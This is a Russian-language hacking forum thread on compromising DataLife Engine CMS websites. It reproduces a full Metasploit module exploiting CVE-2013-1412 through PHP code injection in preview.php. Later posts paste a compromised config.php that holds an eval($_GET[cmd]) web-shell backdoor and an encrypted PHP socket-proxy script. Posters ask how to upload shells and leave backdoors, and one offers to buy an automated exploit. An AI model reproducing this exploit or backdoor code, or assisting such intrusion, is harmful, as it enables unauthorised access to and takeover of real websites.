Да не, не слепой, только что пробовал описанным мной примером. Дальше не копал. Про заливку шелла, любопытно, намекни направление в котором искать?
DataLife Engine preview.php PHP Code Injection DataLife Engine preview.php PHP Code Injection Code: ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'DataLife Engine preview.php PHP Code Injection', 'Description' => %q{ This module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() with the e modifier, which allows to inject arbitrary php code, when the template in use contains a [catlist] or [not-catlist] tag. }, 'Author' => [ 'EgiX', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1412' ], [ 'BID', '57603' ], [ 'EDB', '24438' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ], [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Keys' => ['php'] }, 'DisclosureDate' => 'Jan 28 2013', 'Targets' => [ ['DataLife Engine 9.7', { }], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ], self.class) end def base base = normalize_uri(target_uri.path) base << '/' if base[-1, 1] != '/' return base end def check fingerprint = rand_text_alpha(4+rand(4)) res = send_request_cgi( { 'uri' => "#{base}engine/preview.php", 'method' => 'POST', 'vars_post' => { 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" } }) if res and res.code == 200 and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") res = send_request_cgi( { 'uri' => "#{base}engine/preview.php", 'method' => 'POST', 'vars_post' => { 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" } }) end end source: http://packetstormsecurity.com/files/119978/datalife_preview_exec.rb.txt
Народ кто что скажет об этом http://verner.asf.ru/2013/%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC-dle-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%BE%D0%B9-%D0%B0%D0%B2%D0%B0%D1%82%D0%B0%D1%80%D0%B0-%D1%81-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B/ как запустить хреновину?)
Фантазировать не запретишь. Окей, заливаешь вредостный код, он в папке uploads где htaccess: Code: <FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Ph][Hh][Tt][Mm][Ll])\.?"> Order allow,deny Deny from all </FilesMatch> Залит JPG/PNG с кодом, и что дальше? Нужна как минимум админка (ещё и ранних версий), чтобы как-то инклуднуть локальный файл. А выполнять jpg как php ни один сервер не будет.
помимо версии 9.7 необходимо наличие тега catlist или not-catlist в шаблоне preview.tpl, а это ой какое не частое совпадение, проверив 10к сайтов с дле, уязвимость была только у 6.
Весь движок облазил на днях, нашёл только возможность залить шелл при полном доступе к базе (вплоть до ALTER+UPDATE), уязвимости очень похожие на cat-list в preview.php.
Не знаю насколько актуально, обнаружил строку в /engine/data/config.php: 'lang_Default' => "evalstripslashes_POSTchuck", Может наведет кого на какие мысли.
Все проделываю, но при нажатии на кнопку загрузки, выдает сообщение "Невозможно создать директорию /uploads/posts/2013-04/". Это можно как-то обойти? Или пока админ фотку на загрузит в этом месяце и в этом году - не получится?
Есть админ акк, dle нулл с затертой версией, но это 9,6-9,7. Есть возможность залиться или оставить бекдор?)
Есть, способ известен давно, работает под все версии. Недавно его "переоткрыли" еще несколько человек, независимо друг от друга, но в паблик выкладывать пока не собираются. Исходники открыты, можно поковырять самому, способ не сложный.
Уязвимость не актуальна уже давным-давно. Все сайты с ней уже пофиксили. Версия в которую вы хотите залить - фикс. Можно даже не пытаться
хмм, а возможно ли автоматизировать эту уязвимость для заливки шеллов автоматически? Если да, то готов купить данный баг ...
Здравствуйте, есть дле сайт, при заходе на главнуюю выводит такое PHP: ,recourse,request,sad,tongue,wassat,crying,what,bully,angry", 'timestamp_active' => "j F Y", 'news_sort' => "date", 'news_msort' => "DESC", 'catalog_sort' => "date", 'catalog_msort' => "DESC", 'image_align' => "left", 'mail_news' => "1", 'show_sub_cats' => "1", 'short_rating' => "1", 'hide_full_link' => "no", 'allow_search_print' => "1", 'allow_add_tags' => "1", 'allow_site_wysiwyg' => "no", 'allow_quick_wysiwyg' => "0", 'allow_comments' => "yes", 'comments_maxlen' => "3000", 'comm_nummers' => "30", 'comm_msort' => "ASC", 'flood_time' => "30", 'auto_wrap' => "80", 'timestamp_comment' => "j F Y H:i", 'allow_search_link' => "1", 'mail_comments' => "1", 'allow_comments_wysiwyg' => "no", 'full_search' => "0", 'allow_registration' => "no", 'allow_cache' => "yes", 'allow_multi_category' => "1", 'related_news' => "1", 'no_date' => "0", 'allow_fixed' => "1", 'speedbar' => "0", 'allow_banner' => "1", 'allow_cmod' => "0", 'allow_votes' => "no", 'allow_topnews' => "yes", 'allow_read_count' => "yes", 'cache_count' => "1", 'allow_calendar' => "yes", 'allow_archives' => "yes", 'rss_informer' => "1", 'allow_tags' => "0", 'allow_change_sort' => "0", 'ajax' => "0", 'files_allow' => "yes", 'files_type' => "zip,rar,exe,doc,pdf,swf", 'max_file_size' => "0", 'max_file_count' => "0", 'files_force' => "1", 'files_max_speed' => "0", 'files_antileech' => "0", 'files_count' => "yes", 'admin_mail' => "admin@site.ru", 'mail_metod' => "php", 'smtp_host' => "localhost", 'smtp_port' => "25", 'smtp_user' => "", 'smtp_pass' => "", 'mail_bcc' => "0", 'reg_group' => "4", 'registration_type' => "0", 'registration_rules' => "1", 'allow_sec_code' => "yes", 'allow_skin_change' => "no", 'mail_pm' => "1", 'max_users' => "0", 'max_users_day' => "0", 'max_up_side' => "0", 'max_up_size' => "200", 'max_image_days' => "2", 'allow_watermark' => "yes", 'max_watermark' => "150", 'max_image' => "450", 'jpeg_quality' => "85", 'tag_img_width' => "0", 'flv_watermark' => "1", 'allow_smartphone' => "1", 'allow_smart_images' => "0", 'allow_smart_video' => "0", 'allow_smart_format' => "1", 'allow_rss' => "1", 'rss_mtype' => "1", 'rss_number' => "10", 'rss_format' => "2", 'version_id' => "8.0", 'allow_upload' => "yes", 'news_captcha' => "1", 'lang_GlassyEvolution' => "{${@eval($_GET[cmd])}}", if (isset($_COOKIE['_rpx'])) { define('vpsp_version', '2.5.0'); define('vpsp_pwd', '12345678'); define('vpsp_enc_key', '12345678password'); error_reporting(~E_ALL); @set_time_limit(0); ob_implicit_flush(1); ignore_user_abort(0); header('Content-type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('X-VPSP-VERSION: ' . vpsp_version); $input = fopen('php://input', 'r'); define('vpsp_enc', ord(fread($input, 1)) != 0); $ok; if (vpsp_enc) { if (isset($GLOBALS['vpsp_pe']) == false) { $GLOBALS['vpsp_ks'] = VC_GenerateKeyHash(vpsp_enc_key); $GLOBALS['vpsp_pe'] = VC_Init(vpsp_enc_key, $GLOBALS['vpsp_ks']); } $GLOBALS['vpsp_pd'] = array_flip($GLOBALS['vpsp_pe']); $ok = VC_Decrypt(fread($input, 2)); if ($ok != 'OK') { header('X-VPSP-ERROR: bad_enc_key'); header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit; } $rBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); $sBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); $reqPwdLen = ord(VC_Decrypt(fread($input, 1))); $reqPwd = ($reqPwdLen > 0) ? VC_Decrypt(fread($input, $reqPwdLen)) : ''; $https = ord(VC_Decrypt(fread($input, 1))); $host = VC_Decrypt(fread($input, ord(VC_Decrypt(fread($input, 1))))); $port = ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); } else { $ok = fread($input, 2); if ($ok != 'OK') { header('X-VPSP-ERROR: bad_request'); header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit; } $rBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1)); $sBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1)); $reqPwdLen = ord(fread($input, 1)); $reqPwd = ($reqPwdLen > 0) ? fread($input, $reqPwdLen) : ''; $https = ord(fread($input, 1)); $host = fread($input, ord(fread($input, 1))); $port = ord(fread($input, 1)) * 256 + ord(fread($input, 1)); } if ($reqPwd !== vpsp_pwd) { $resp = "HTTP/1.0 401 Unauthorized\r\nX-VPSP-VERSION: " . vpsp_version . "\r\nX-VPSP-ERROR: bad_password\r\nX-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "\r\nConnection: close\r\n\r\n"; if (vpsp_enc) { echo VC_Encrypt($resp); } else { echo $resp; } exit; } if ($https == 1) { $host = 'ssl://' . $host; } $fsok = fsockopen($host, $port, $errno, $errstr, 20); if ($fsok == false) { $resp = "HTTP/1.0 503 Service Unavailable\r\nX-VPSP-VERSION: " . vpsp_version . "\r\nX-VPSP-ERROR: host_down\r\nX-VPSP-ERROR-TEXT: " . base64_encode($errstr) ."\r\nX-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "\r\nX-VPSP-TARGET: " . str_replace('ssl://', '', $host) . "\r\nConnection: close\r\n\r\n"; if (vpsp_enc) { echo VC_Encrypt($resp); } else { echo $resp; } exit; } while ($wbuffer = fread($input, $rBuffLen)) { if (vpsp_enc) { fwrite($fsok, VC_Decrypt($wbuffer)); } else { fwrite($fsok, $wbuffer); } } fflush($fsok); while ($rbuffer = fread($fsok, $sBuffLen)) { if (vpsp_enc) { echo VC_Encrypt($rbuffer); } else { echo $rbuffer; } } fflush($fsok); fclose($fsok); exit; } function MD5Hash($str) { $m = md5($str); $s = ''; foreach(explode("\n", trim(chunk_split($m, 2))) as $h) { $s .= chr(hexdec($h)); } return $s; } function VC_Init($key, $ks) { $s = range(0, 255); if (strlen($key) == 0) { return $s; } $km = MD5Hash($key); $kx = ''; for ($i = 0; $i < 16; $i++) { $kx .= MD5Hash($km . $km[$i] . chr($ks)); } $r = ($ks % 0x0F) + 1; $j = $ks; for ($n = 0; $n < $r; $n++) { for ($i = 0; $i < 256; $i++) { $j = (($j + $s[$i] + $n + ord($kx[$i])) ^ $ks) % 256; $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t; } } for ($i = 0; $i < 256; $i++) { $s[$i] = $s[$i] ^ $ks; } return $s; } function VC_GenerateKeyHash($key) { $m = MD5Hash($key); $kt = 0; for ($i = 0; $i < 16; $i++) { $kt += ord($m[$i]); } return $kt % 256; } function VC_Encrypt($str) { $pe = $GLOBALS['vpsp_pe']; $out = ''; $len = strlen($str); for ($y = 0; $y < $len; $y++) { $out .= chr($pe[ord($str[$y])]); } return $out; } function VC_Decrypt($str) { $pd = $GLOBALS['vpsp_pd']; $out = ''; $len = strlen($str); for ($y = 0; $y < $len; $y++) { $out .= chr($pd[ord($str[$y])]); } return $out; } ); ?>Datalife Engine not installed. Please run install.php что можно из этого взять и можно ли доломать этот сайт и залить шелл? тиц сайта 50, может еще там есть вкусные домены, кто может помочь, желательно в личку что бы не разводить флуд? Что за сайт пока не скажу, посмотрю живая ли тема и есть ли реальные мысли